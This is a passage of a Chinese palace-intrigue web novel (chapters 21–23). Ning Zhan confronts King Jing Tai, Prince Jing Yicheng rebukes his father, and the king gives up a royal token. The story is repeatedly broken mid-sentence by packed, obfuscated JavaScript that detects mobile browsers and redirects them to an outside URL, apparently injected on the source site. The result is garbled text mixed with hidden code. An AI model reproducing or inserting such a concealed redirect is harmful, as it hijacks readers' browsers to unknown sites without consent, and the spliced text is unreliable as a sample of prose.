女官生怕把身边的小人弄丢一般，手上牵得严紧，边走边忍着气儿，轻声交代：“贵人，您可得将这回宫的路给记牢了。倘日后在宫里失了道......没人能帮你的。” 以墨抿着唇，将高墙红瓦、青砖枯木默背一遍又一遍。她对这一亩三分地的刻画日渐清晰，也再未见过那位领她认路的女官。 那天景安王后嚼干了舌，将以墨扔在距宜和宫百步以外的宫道上，她才听洒扫的老涓人说，宜和宫从前确有一位掌事姑姑，是景二殿下已故生母的陪嫁丫鬟。 现今展眼再看，这一路的长墙高门其实没什么不同。 只是她与景以承相伴的岁月里，二人皆未踏出宜和宫的门槛半步，便也不曾在这深宫大院中失道。 果如景以承所言，众人堪堪走了小半截，即可见不远处伫候参拜的朝臣。 以墨粗略一观，沿途长揖之人没有成千也有数百。他们无不是满面红光，尚未扶正乌帽，便高呼着举手加额，恨不得涌上前来叩拜。 定睛，能看清诸臣饱含热泪。侧耳，吆唤的字句间甚且隐隐带颤。 暮然回首时，以墨似乎又听见了那位掌事姑姑千叮万嘱，也是这般颤声难抑。最显而易见的分别，即后者毫无欢欣，尽是凄迷。 对于各式阿谀逢迎，宁展习以为常。时下满目挚诚的朝臣近在面前，他反而不比平日从容，忽感当之有愧。 坊间虽不乏肺腑之言，但再怎样吹捧，毕竟与他相去甚远。 赞语谢词漫天塞地，当中不提名讳，更多还是“贵人”“贤士”地唤，却不知哪处角落猛不丁冒出一句：“宁世子！是宁世子！” 天下之大，贤达明君何其多，任人如何乐善好施，也无法遍及苍生。 “可他宁世子不一样啊！不是他在七州大典上秉正直言，凭大伙儿势单力薄，保不齐要被那深宫毒妇欺压到几时！” 诸如此类饭后闲话，常年能在景安各地听到。 七州大典后，景安王后，连同蜷于其母族羽翼之下迫害百姓的庸官悉数失势。时至今日，景安对宁展的褒扬尤其频繁而浮夸。 因为不单是庶民过去的日子苦不堪言，景安王后肆无忌惮，伙同族亲屡屡将手伸向朝堂，搅得群臣成天掰着指头盼告老，泰王对此束手无计。 诚如琅遇震王所言，拔舌那位岂止是百姓的恩公？而当年助恩公一臂之力的展凌君，方今保全神医的宁世子，则活是景安福星才对。 这声“宁世子”出口，堪称福星降世。 景以承对宁展那张假皮残存多少印象，景安臣民亦复如是。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679226|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大伙儿光是听着名讳便不能自已，近乎无人在意鼎鼎大名的宁世子本尊与民间画像有几分相似。 心潮彻夜澎湃的群臣摩肩擦踵，一拥齐上，转眼将几位贵客的去路堵至水泄不透。 宁佳与原就悬心跟在最末，瞧着要被人丛挤得离同伴越来越远，便想取银骨扇稍作格挡，不料前后左右压根抽不出手来，遑论绕腰取扇了。 她不由暗念：好在师父新养的信鸽未成人形，不能言语，否则这小东西定要受老家伙撺掇，将自己在某座墙头看她百般狼狈的笑料传得人兽皆知。 宁佳与兀自瞎想，前头赫然伸来一手，探囊取物似的将她拎到身侧。 她抬眼望，哦，大人物啊。 因宁展乱起来的阵势，非他不可平。这不是解围，理应如此。 可旁人哪里跟得上此二人的思绪？ 他们只知，宁世子直勾勾从人群中牵来一位姑娘放在身侧。而那位姑娘好像并不领情，宁世子则像是笑累了，脸色平淡许多。 不是几近贴身的情况，宁展面上微乎其微的变化鲜少任人觉察。 群臣见状皆以为是自己这头失了分寸，赶忙拉起同僚退步，唯恐冲撞福星。 适巧泰王露面，径直上前向宁展施礼。宁展即刻回礼，二人和睦把手，方才没让先前的热烈落在地上。 两手一握，便是有来有回的寒暄。然泰王越看宁世子的模样，越觉着不对劲。 这身段和容貌倒是如旧俊俏，却说不上何处出了差错。 泰王身边的内臣颇有眼色，眼瞅主子一时哑然，立马接过话茬：“各位贵人一路辛苦，正殿请罢。” 景泰回过神来忙称是，迎着几人往正殿去，还不忘回首瞪两眼他那见了大人物便没个出息的众卿家。 几人正殿就坐，景泰满脸歉然，双手合握身前，道：“咱们景安民风淳朴，今得遇贤达，喜不自胜。如有冒犯，望诸位海涵。” “呵呵。” 宁展面上笑，嘴上也笑，声气十分亲和。 宁佳与往日见多了此人阴损之面，没被这动静骗过去。 景泰自认得着好脸，正要翻篇，却听宁展劈头质问：“我观日前当街号令近百名刺客的内宦极面熟，若晚辈未曾记错，那位跟着您没有七年也有五载了罢？内宦刺杀未遂，如今却是死不见尸。莫非泰王殿下是碍着谁的面子，势要为虎作伥了？” 宁展并非不清楚，便是借景泰的人十个胆儿，他们也不敢当街行刺。那内宦多半是旁人布在景泰身边的一颗棋，而这旁人，或是怙恶不改的景安王后也未可知。 景安王后猖狂跋扈，结党干政多年，景泰与其早已互生嫌隙，这是七州共睹的事实。 而此番行刺涉及威望颇高的墨神医，无论景安王后认不认这棋，只要景泰有心，让外头相信毒妇妄图滥杀无辜并非难事。 眼下正是借故根除王后一族的大好时机，景泰又怎会出手包庇？ 明知如此，宁展仍站在受害者的位置上向景泰发难。 于公，宁展捏住这由头，往后的商谈就多一分把握。 于私，他怕是不肯认。 21. 回报 宁展言之凿凿，景泰又何尝不想尽快寻到那贼人的下落，给臣民一个交代？可太阳露头，内宦的尸首便随着满街烟雨消遁无踪。 “啊......”景泰顾不上满头冷汗，干笑举杯，“此事，本王已下令全城搜查！诸位喝茶，切莫拘束。” 宁佳与暗自环视四周，明晃晃的大雅之堂，却平白令人觉着滑稽。她端来茶盏，最后一眼落在诡计多端的阎罗身上。 二人之间莫名生出些多余的默契。 宁展噙着笑，托茶敬于她。宁佳与心下冷笑，同样举杯回敬，戏谑他的阴招。 堂中迟迟无人言语，景泰深知插翅难逃，只得引咎责躬。 他猛一拍大腿，叹道：“小王实在愧悔，没能早日看清歹人的嘴脸。幸有宁世子力挽，免过失成大错。” 宁展不接他的茬，手上撇着茶沫，垂眼道：“敢问泰王殿下，可认识徐临帆？” “小王不认得。”景泰摇头，言谈自若，“此人莫非也是那歹人的同伙之一？” “歹人何来、同伙与否，自宫中起，大小算是您的私事。晚辈远在嘉宁，若是轻易能够答上来。”宁展耐着性子，和声道，“景安王室岂非乱套了？” 景泰身侧立着那位精于鉴貌辨色的新内侍。听闻宁展素有贤名，时下却这般夹枪带棒，他也大气不敢喘，不知该为哪边捏把汗。 不意景泰并未因此动怒，仍是一副不明所以的糊涂相。 以宁看不得这庸君的模样。 要宁展在外当得谦谦君子而不受气，须得由他代为直言。每逢此际，他与宁展对上目光，便是得了授意。 “泰王殿下没到老不晓事的年纪。”以宁严正道，“墨川兵部侍郎徐临帆，您身为一州之主，怎会不认得？” “哦......噢！”泰王点着手指，貌似恍然，“这么一说啊，我脑子里便有个印象了。” 宁展面上笑影未去，出口却不再含蓄：“若非有您庇护，他一介外州兵部侍郎，如何得以手持数纸景安王城中心的地契？要说徐侍郎是那人余党，仅凭个景安内宦，就能搭上墨川重臣的线？” 纵使宁世子本事再大，这是景安。而他骨头再软，也轮不到小辈来啃！景泰在袖中握拳，心一横，虚作声势道：“那地契是本王所为，又如何！” 座下尚未发话，便有一人自偏殿疾步而来。 “泰王殿下！” 不见其人，先闻厉声。 “您还要错到几时！” 那人踏着话音上堂，神完气足，郑重其辞，不似宫门前脚忙手乱的景二殿下，亦不似文绉绉到访青竹暗桩的书生。 以墨忽然意识到，眼前的景以承，日后不论变换几式装扮、几种身份，也绝不会是从前的土阔佬了。 景泰蹙眉，从未料及往日闭门念书的儿子今时会出现在此。 他如十余年来景以承初次迈出宜和宫，为以氏名节请求他出面阻拦权贵那般，朝人摆了摆手。 “以承，此事乃本王一人所为，你莫要胡言掺和。” 景以承却不像四年前那样退走，但姿态更低，跪拜泰王。 以墨不由捏紧扶手，上身亦然前倾，耳边赫然响起景二殿下稚气的童声。 - 宜和宫清闲的日子里，以墨在心里拟好了许多景以承可能向她要的答案。 譬如。 “你是谁？为什么到这儿来？” “娘亲她何时回来？” “能不能带我去见娘亲？” “为何这地方，只你我两个？” 待景以承提起，她不至于手足无措。 可她面对唯一一个问题，仍似遭人药了嗓子，如何都无法回应。 “墨姐姐，外面同我一边大的小孩，也都是一个爹爹、好多个娘亲吗？” 五岁的景二殿下没等到答复，以为墨姐姐不高兴了，他立马笑成花儿，乐呵呵道：“他们同我一样，我却不要同他们一样！他们每日给爹爹请安，我偏不爱请，连话也不与那人说！” 此后，景以承避父母之事不谈，也不受泰王的召。 - “......以承，你这是何意？快！”景泰从未受过景以承为臣为子之礼，更莫说跪拜，惊喜不已，“快起！” 景以承利落一站，其余人方才发现他手中拿着皱巴巴的信纸。 他肩脊挺得板直，右手横指殿门，左手将那沓纸掐得更紧，道：“若不是泰王殿下您利欲熏心，外头万千百姓何致备尝辛苦、无处诉冤？！” “以承，你听话，先把东西放下。”景泰面色铁青，“为父定会给你一个交代。” 景以承厌恶地放手，把散落的信纸踩在脚下，不齿道：“泰王殿下，您今日便是将这些东西撕碎了让臣吃下去，上面的字句，臣照样倒背如流！” 恺切之言斩钉截铁，他每吐一字，座下便因他的说辞揪心一分。 “泰王殿下”，此言无误。自七州改元嘉墨，诸王唯三大州可称为“陛下”，四小州称“殿下”。 众人所忧，实为“臣”。 非“儿臣”，只“臣”一字，将二人血亲情分斩得干净。 景泰与景以承的确徒有父子虚名，无情分可言。但在纲纪颇受嘉宁影响的景安，此事由景以承亲口道出，无疑是大不敬。 景以承了无惧色，不顾一切地指斥面前形同陌路的生父：“给臣一个交代，什么交代？ “是为着成全一己之私，与他州权贵表里为奸，祸及景安数万臣民？是为着不让大权旁落，替六宫之主在朝野内外四处树敌？还是，为着身后的王座、头上的金冠，冷眼任由他人置共苦的发妻于死地？！” 这指摘的第一处，宁展早有眉目，然紧接的旧仇宿怨委实令几人听得身子一震。 两位姑娘似是不忍直视骨肉相残，双双敛眸。 以墨双手交握，眉宇染着伤怀之色。 宁佳与盯住自己沾了泥花的靴面，手指一下一下撕扯逆胪[1]。 宁展和以宁凝瞩不转，可见景以承瞪得通红的眼勉强兜着些混沌。 “为何不答？你说话！说你没做——”景以承冲着高座呼喊，末了俯下身，捡拾信纸，“说你不是这样啊！泰王殿下......” 景泰欲言却止。 开了口，又能说什么？他作为一州之主，难不成真要在几个小辈跟前替自己的庸懦无能辩驳吗。 说他难抵墨川强压，为保全景安，只得屈于淫威？或怨自己的王后家大业大、任性妄为？还是怪自己的结发之妻出身薄祚寒门、红颜薄命...... 往事已矣，追悔何及。 “是本王错了。”景泰松了拳头，终于道，“是我软弱怕事，治理无方，见利忘义，害得景安上下终岁不宁。是我......不配为人君，不配为人父。” 正殿寂若荒野，独哽咽粗重。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679227|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁展此行，将景安历年的大事小事一应翻查了个遍。 在他看来，景泰是无才，但不似其自述之不堪，倒还算个为大局忍辱含垢的主，只是迷途不知返。 嘉墨十七年间，三大州秉承济贫拔苦、相辅相成之意，逐年遣派各朝重臣下至四小州放粮、捐资、修筑云云。维持至今，业已整十载。 不知何年始，墨川重臣借此为由，接二连三、不声不响地在景安驻屯留守。 四小州中，景安子民先天体弱，故不是行医便是事农，兵力最为薄弱。墨川想是鉴于这一短处，欲拿景安开刀试血。 起初，墨川仅以万贯之财示好，向景泰换取景安王城腹地的房契。 其次，墨司齐又以毁景安王后一族、稳固景安朝野为交换，要求占去景安城郊地界，用作养兵驯马。 最后，便是墨珩以景泰性命相挟，逼其交出以氏典籍及门下弟子。 景泰居高二十年，未必看不明白墨川打的什么算盘。 此前种种恶行罪事，他自个儿担了便罢。但以氏对景安及景安子民何其重要，他没能如旧满足墨川的索求。 彼时，正碰上王后滥用私刑、以墨辞官离宫，景泰决定将计就计。 与其把以氏的将来锁于王宫招人眼目，不如放其回归民间。有万千百姓拥护，兴许墨川不敢妄动。 不防墨川竟虎视眈眈四载，终究还是对以氏动了手。 众人各思心事，即闻一清亮之音，冉冉点明哑暗。 “泰王殿下，承仁君心性纯良、疾恶好善。一切，皆因民女从前身为师长，却疏忽职守、误人子弟，致使承仁君行事意气、口不择言。若殿下降罪，民女甘愿领罚。” 景以承回过身去，便是以墨低眉深躬，为他作揖顶罪。 宁展似有话说，未待启齿，景泰忙道：“墨郎中言重了。且不说你为景安付出多少心力，单论以承能有如今直言切谏的胆识，也该是小王给你这位恩师拜敬才对。” 话音一落，景以承便请以墨坐回原处，进而端起敢做敢当的架势，直愣愣挡在以墨座前，唯恐景泰出尔反尔，降罪于她。 景泰眼见小儿对他百般提防，心下半筹莫展，干脆就地搬起救兵，起身道：“话说回来，宁世子今番微服私行，小王有失远迎，还未向您赔礼。” 宁展亦然站起，接了景泰的赔礼，拱手道：“是晚辈不请自来，多有唐突。” “世子无须客气，而今在景安，谁人不知宁世子英名？不过十天半月的功夫，各位贵人替百姓们寻回神医，更将盘踞景安的毒蛇猛兽打回了窝。” 景泰举杯，依次敬过堂中几人。 “小王简直羞愧难当，无以为报啊！” 说罢，景泰正欲饮尽茶水，堂中的答复猝然而从容，生生将他这口清茶截在嘴边。 “倒是有一物，可以为报。”宁展将点滴未动的茶搁下，目光悠悠看向景泰身旁侧立良久的内宦。 众人噤声。 只口无遮拦的景以承惊道：“上邪呀！元兄，你就是偏好男风，也不必在宦官中择配罢......” 宁展闻言退步，脚下打了趔趄，又回手去摸圈椅的扶手，没摸着。他自始自终端的气定神闲，此刻功亏一篑。 转头对上宁佳与幸灾乐祸弯起的唇角，宁展脸色阴沉。 宁佳与登时打直腰板，压着嗓子，悄声辩白：“看我作甚？可不是我说的！” 22. 民心 最好不是你。 宁展睨着宁佳与，缓缓入座，复揖手道：“景兄说笑了。我的意思是，有些话，须得关起门来谈，烦请公公先行回避。” 即使宁展只提及景泰座侧的内宦，以墨也十分解趣地动了身，领着以宁一并随内宦退至偏殿。 此一去，既规避了王室机密，置身事外；亦能借机盯住内宦，以防未然。 宁佳与心中慨叹以墨审时能力之甚，即见景以承懵头转向，随手扶了把身后的椅子就坐。 虽说目前为止，并无人替一路头顶“贵人”之称的宁佳与请功论赏，却不耽误她现下理直气壮地定在座儿上，纹丝不动。 怪的是，素来待她不可谓不刻薄的阎罗竟也由着她去了。 “想必，泰王殿下已将敬令珍藏密敛许久了。”宁展委婉道。 景泰面露讶异。 嘉宁王储，知悉敬令合情合理，然言语间了如指掌的意味不止了解而已，像是对此筹谋已久。尽管景泰不执着于敬令，也不得不多多掂量这里头的含义。 “莫非......”景泰犹豫道，“宁世子亲临景安，乃是善王旨意？” 宁展不作巧饰，开门见山道：“您多虑了，此番是晚辈一人拙策。既身在此位，理当自谋其计。岂能事事仰仗家父，再去盼着吃现成的饭呢？” 他说得这嘴长辈们最是受用的漂亮话，可言下之意，不就是“我自个儿偷跑出来捅马蜂窝，且没告诉我爹”吗。整个一没了家中大老爷兜底的毛头小公子，教人如何敢应？ 景泰面上眉欢眼笑，心里的鼓打得无了无休。 堂中静默片晌，忽而听景以承一声：“父王。” 闻言，景泰喜出望外，以为小儿心里总归还是有亲爹的一席之地，瞧着父王有难，立马出言搭救了。 景以承探头，接着道：“何为敬令？” ...... 景泰僵硬地敛了笑。 宁展却是越瞧景以承，越发觉着他大有可为，热情相应：“可调其州兵将、易其州君主、据其州疆土之物，即为敬令。” 青竹暗桩遍布四方，隐士亦然，单是每人的年俸，就要反复吃掉宁展半座私库。 当然，他们不白吃掌阁的饭。 依着阁中汇集的各方消息，宁展一早便猜想，景以承或是景安未来的王储。 此人略有些小聪明，但不陷于城府之深；虽备受冷落十数载，胸中仍怀希冀；秉性纯良，不避强御，且师承以氏，实乃景安世子不二人选。 故而他借此时机将敬令告知景以承，其实无可厚非。 宁展话已出口，景泰自只有点头称是的份。 得到确切答复的景以承反倒心神不安，瑟缩道：“若当真如此，元公子今次来寻此令......是要不宣而战吗？” 景泰不免为小儿出言无忌的习性揪心。 “绝无此意。”宁展严正道。他侧身面向高座，恭肃长揖，“泰王殿下，晚辈虽生于太平，未亲眼目睹烽火、未亲身执锐沙场，却不愿再看硝烟弥漫七州......及乱战后荒谬不堪的‘议和之约’。” 宁展毫不避讳地谴责着其父参与共商的议和之约，出乎景泰意料，也足以令他高看宁展一眼。 与坊间的美誉不同，这是他第二次在宁展身上看到的稀罕东西。 “那小王倒想问问世子，假使没有曾经连年的烽火，先帝如何能统七州？假使没有那荒谬的条条公约，势不两立的大州之间，又该如何休兵向太平？” 适才郑重其辞的宁展果然沉吟不语，兀自垂下两臂。 景泰心血来潮地问，仅为探其虚实，便没期望他能应答如流。 平日里，宁佳与亦有将宁展堵得哑口无言的时候。可瞧着宁展面对旁人不声不吭，她眉头锁起，竟想开口替宁展辩上一辩。 几人皆以为宁展被绊住脚步，却听他冷不丁道：“民心。” 这说法，貌似入耳，然则浮而不实。 不怪字义本身，盖因从古至今，近乎无人算是真正抓牢了民心，包括半生枭雄的琛惠帝。 景泰对此答复不敢苟同。 琛惠帝并未深得民心，这一虚词，却是在当年一门心思取信各州时被其立为大本大宗，翻来覆去地强调了不啻千遍。 如若宁展生于百年之前，这词教人听着兴许还新鲜些。可放在当今来看，岂非胡乱将宁帝一生中最是愚痴的招数学了去？ 要往难听了说，即是盲人摸象。 瞎扯。 景泰含蓄道：“民心......倒是耳熟。” “得民心者，自得天下。得天下者，不尽然能得民心。此间次序，至关重要。” 说着，宁展略靠椅背，声气泰然。 “先人一腔孤胆退外寇、统山河，却落得个‘自命风光三十载，失惊黄粱一枕梦’的判词，正是次序颠倒所致。” 事过境迁，但如今的七州，不论遗风何如、分地几许、王城哪处，甚至于各州君王的尊卑高低，皆与琛惠帝一统四海之前别无二致。 有人狂放执笔，道是：自命风光三十载，失惊黄粱一枕梦！ 此话谑的便是琛惠帝，只没胆子提名道姓。 彼时，文人墨客闻风而起，齐齐投入口伐“昏君”的激愤阵营。 阵营的旗帜皆由各州及时按下，可英杰臭名昭著如河决鱼烂，眼前的日子一刻不得安恬，便总有人爱看“一代枭雄名落孙山”的戏码。 污名打了出去，覆水难收。 景以承满腹诗文兼满腔热血，被宁展一席玄之又玄的隽语打击得不轻，一时大惑不解，顿口无言。 宁佳与漫不经心地托着茶，隔三差五就提起杯来抿。 景泰则饶有兴味，对宁展道：“那依你所见，这次序有何深意？” 宁展道：“前朝的做法，先夺天下，后揽民心。我以为，应当先察民心，后合天下。 “晚辈愚钝，常年下至四州以助人为乐，却对诸多奸宄营私横行之事后知后觉。今不请自来，提请敬令为轻，匡正弥补为重。不求万民感念，不论敬令来去...... “但愿，为时不晚。” 到底是血亲，景泰同他那口无遮拦的小儿一般，也是性情中人。他在高座上紧绷经年，此际终于有了可以透过气的实感，双目所及之处愈加迷蒙，情难自抑。 生于这片人微权轻、兵零将散的土地，从前，他一眼便能将那任人鱼肉的余生看到头。 大老爷们高声嚷着“行善积德、家宅安平”，通常连嘴边吐出的菜饼、掉地沾泥的烂叶都不会施舍叫花子一口。 景泰为人臣子时无计可奈，为君王时亦然，更不必说累世苦中取乐的景安百姓，尤其酸楚。 因为民心实在强大，也实在危险，非常人可以把握。他都不必设想宁展的将来，且看以墨便知一二。 这是袖手看风云者，要舍明哲、远闲处，以身为子入局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679228|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “宁世子，小王坐井观天，日头长了，眼皮子也跟着浅了。今日一叙，”他拂袖挥泪，笑敬宁展，“小王受益匪浅。” “泰王抬举。”宁展起身回礼，“若无先贤开道，晚辈怕是没有这班门弄斧的契机。” 适才被亲儿子当众指摘，景泰脸上也未曾挂火。 听宁展如此谦辞，他却不乐意了，当即拍案道：“小王只闻外头人人称赞嘉宁世子乐善好义、雄才远略，现在看来，名副其实！我这把年纪，借宁世子的光，算是见识了何谓年少有为、后生可敬啊。” “能为景安尽绵薄之力，晚辈大幸。既已向您提及敬令，便没什么好遮掩了。却不知，”宁展道，“泰王殿下可愿将那景州令付托于我？” 另外两位仍未作声，暗自忐忑。 大殿静下不过须臾，却教人以为寸阴若岁。 景泰不紧不慢地从内袋取出一物，约莫成年男子半掌之大，通身色泽银灰，前刻“敬”，后印“景”。 质而不野，素而威厉。 常言见物如见人，此物倒真有几分琛惠帝英年的风华韵致。 “实不相瞒，本王早已备下此令。或在今朝，宁世子城郊破墨兵，阴山寻神医，直捣蛇鼠窝时。抑或在旧日，展凌君为解景安困局，不惜赌上昔时清誉，甘当引火上身的‘出头鸟’时。” 景以承和宁佳与越听越迷惑。 宁展何时独身破了兵？又是如何做了那出头鸟？ 三年前七州大典，景以承业已闭关。 而宁佳与没观礼的兴味，只象征性地走过筵席场面，且素日无事不出门，自然无从得知展凌君当年何等威风。 宁展亦然奇怪。 他与以宁赶赴景安那晚，是个雷雨交加之夜，那会儿的城郊正是天昏地黑、鸡犬不闻，即便二人乘势袭取墨川所占的屯兵要地，也没闹出什么动静。 宁展思前想后，心有余悸，神色凝重道：“还恕晚辈直言，可是墨川又......” 未待他言尽，景泰笑得前仰后合：“世子才是多虑了！小王这一方地界有宁世子坐镇，自上回七州大典一过，莫论什的马面牛头，即是猛虎下山，也得绕道另行！要说这景州令啊，还非得是宁世子你，方才拿得住。” “......说来惭愧。”宁展干笑着颔首。 确实，说来惭愧，但他并非愧于此令。 愧于当年无巧不成书，青竹阁闯宫拔舌，本是为着替以家出口恶气。 景安王后一族四处树敌的骂名，多为墨川背后煽风点火所致，然其因权势滔天而恃强凌弱之事，皆凿凿有据。 谁承想，善王竟也由着他胡闹。宁展那是误打误撞，又有墨川东风在前，方才得以分毫不伤，一举扳倒景安王后。 景以承眼巴巴瞧着景泰和宁展忆昔抚今，深感胸中抱负几欲破膛而出。 可两人一来二去说道个没完，他捏住衣角，闷声唤：“父王。” 这蚊蝇大小的音儿只勉强能飘到宁佳与耳侧。 宁佳与茫然回望，却见景以承赫然闭了眼，继而重重呼出气息，再放声：“父王。” 景泰似是未闻，依然滔滔不竭地谈天论地，好比宁展才是自己长年不得见的爱子。 “——我要随元兄一同南下！” 此声高亢惊人，终于引得目不转睛的二位侧了身。 景以承若有似无地瞟着景泰，添补道：“行吗......爹。” 23. 离宫 景泰既担心又疑惑，没顾上那声闻所未闻的“爹”，问道：“元兄？” 宁展接道：“景公子说的，当是晚辈。晚辈表字带‘元’，源于外祖母一族姓氏。初到景安时，尚不便出头露脸，遂与景公子以元氏自称。” 景泰恍然点头，倾身追问景以承：“可你同宁世子不过几面之交，便决心要跟随？” 适才天不怕地不怕的景以承蔫了，垂着脑袋支吾，像霜打的茄子。 宁展等了会儿，见景以承依然不语，代他道：“景公子与晚辈初见时，叹‘元家世代书香，群贤毕集’，且当即许诺，若能与我结交，必然‘日就月将、学有所成，今后效力民生，鞠躬尽瘁’。” 诚然，景泰十分欣赏面前这位志在千里的后生。兴国安邦之大计，如今便是搭上他十条老命，也不足惜，可若要将自家少不更事的小儿也搭进去，就得另当别论了。 他已愧于景以承生母、自己的发妻，如何舍得放任景以承追入凶险难测的棋局？ “以承，南下绝非儿戏，亦非游学观景那般清闲松快......”景泰语重心沉，几度顿声，“此一去，生死有命，富贵在天......你可明白？” 景泰并未故甚其词。 不提前方是否有天灾、兵戈忽发，单是景以承不通拳脚、难提刀剑这一短处，只扑来个身无寸铁的散匪流寇，怕也能将他欺负得爬不起来。 景以承以为景泰这是将他看扁了，摩拳擦掌道：“我明白！无论是文是武，儿臣皆不能同元兄一较高下。可正因如此，儿臣更要追随、身体力习，以元兄为师、为尺，砥砺名行！” 少时，他将自己圈在宜和宫的苍凉小院，屏气不发。而后，以赌坊为家，抛却声望。景以承静候十余载，候的正是这解黏去缚、更上一竿的机遇。 他不与宵小争斤两，要同君子分秋色。 景泰料想，以墨光复以氏之责重如山岳，定不会辞行同往。景以承对其敬仰有加，若将人召回正殿，兴许能劝阻一番。 话到嘴边，景泰却收了声。 他亏欠世事良多，个中罪业已非一朝一夕可赎，倘一再固执成见，才是害了景以承。不若改过从新，也算是替小儿南行积德成福了。 此遭一结，话头自然落到坐姿越发像泼皮的宁佳与身上。 入宫前，宁佳与早知今日堂上的角儿或是在座的每一位，唯独不会是自己。 她这等串场的小人物，恰好能随口略过自报家门的定场白，省得让宁展趁势揶揄她故作姿态博同情。 宁佳与倒也庆幸重头戏不在自己身上，否则凭她惯于呛天恨地的嘴，指不定被宁展一激，不留神波及了旁人，平白惹出事端。 景泰喋喋追问她究竟要何封赏，宁佳与沉思半晌，愣是没编出一件自认合宜的赏赐，于是借口说前日与贼人缠斗时元气或有伤损，向景泰请了些颐神养性的补药。 不待宁佳与坐定片刻，即听宁展自作主张道：“据晚辈所知，景安盛产苎麻细缎，泰王殿下可愿赐她一匹？” “哦？小王自然是一百个乐意啊。”景泰喜笑颜开，“我瞧这位姑娘轻装简戴，还以为姑娘不喜衣衫布帛呢！” 景安虽不是堆金叠玉的富贵之地，苎麻却是要多少有多少，城中甚至有着上千户人家指着这买卖糊口。 宁佳与草草谢了恩，心道这活阎王又要耍什的鬼伎俩戏弄人？ 宁展兀自整襟理袖，一副不打算解释的架势。 几人被景泰留在宫中用过晚膳，方才得以辞别。 谁知景以承说什么也要立刻跟着宁展一道去，唯恐几人明日便撇下他这个累赘似的书袋子走了。 景泰则与他见一面少一面的爱子难舍难分，二人手捧着手，将过去未能倾吐的交心话赶在半时辰内，叽里呱啦说完了。 临了，父子拥成泣不成声的泪人。 回程的车马差点儿没能在小吏落锁前驶出宫门。 景安的宫舆说不上窄小，然舆内载着两位八尺男儿，一个比一个占地方。 白日来时，堪堪四人，大家尚且伸得开腿。眼下再塞进一个七尺的景以承，即使他细腰瘦骨，相互间也得挨肩叠膝而坐。 不巧，互不顺眼的冤家坐了对头。 景以承真真是性情中人，宫舆早已驶离王宫，他仍旧忍不住小声抽泣。 身为宁展唯一的心腹，以宁想破脑袋也想不通，景以承浑身上下到底哪点合了殿下心意？竟哄得平素无比理智的宁展非要捎上他这拖油瓶。 以宁冷着脸，溢出的怨气吓得景以承眼泪四处乱甩。 瞧他如此娇气，以宁道：“若比尚未断奶的襁褓乳儿还不如，我劝二殿下，趁早打道回府。” 冷不防被人沉声呵斥，景以承登时颤了颤身，神色怔愣。 这猝然一颤，难免与他身旁的以墨膝骨相碰。以墨下意识抬掌握住了景以承的手背，如儿时那般。 景二殿下睁眼以来，倒是见过几回宜和宫的娘娘。只不过，彼时他正是那尚未断奶的襁褓乳儿，寥寥数眼，不知记得下几多。 因幼年失恃，他没少被梦魇缠身，夜里每每惊得颤栗难止，便是以墨陪同在侧。说也奇，他这受了惊便禁不住哆嗦的毛病，只消墨姐姐沉掌稳上他的手背，即似吹糠见米。 立效。 以宁却不以为然，蹙眉责难景以承：“你——你这不识好歹的臭小子，你撞到我阿姊了。” 墨姐姐的掌心温热依旧，景以承总算缓过神来。 “我的上邪呀，还有没有天理可言？是你没大没小才对。若是掰着指头数，你小子，”他张开十指摆在以宁面前，不服气道，“还比我小个三十日呢！” 以宁闻言变色，怒拍右腿，道：“身为少君，说的却是一派胡言。那无动于衷的四年，二殿下也好意思算进去？” 如刀剑相向，他固然不是以宁的对手。可高谈雄辩之局，在景安学界内，景以承还未输过谁。 “你可以对我心有私见，但不论如何，我也算你半个兄长。若你执意诋毁为兄，便是天理难容！” “好了，你们别——”以墨劝言未尽，便由二人放声吞没。 “景以承，你少自作多情。”以宁抱起佩剑，侧首不愿看他。 “阿宁你，你你你——”景以承则倾身追着以宁要训话，“目无尊长！” 以宁被景以承的厚颜无耻气得转回头，质问道：“阿宁是你能叫的？” “我可是你半个兄长！”景以承心虚地瞄一眼以墨，边往后缩边扬起下巴，“如何叫不得？” “有你这样一事无成的兄长，我还不如自劈两半。”以宁恨恨把着剑柄，亮出小半截利刃，切齿道，“再敢乱叫一声试试？” 景以承仗着人多，卯足了胆子：“阿宁阿宁阿宁！我叫了，你要打我吗？阿宁！” 眼瞅原先那拌嘴二人组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 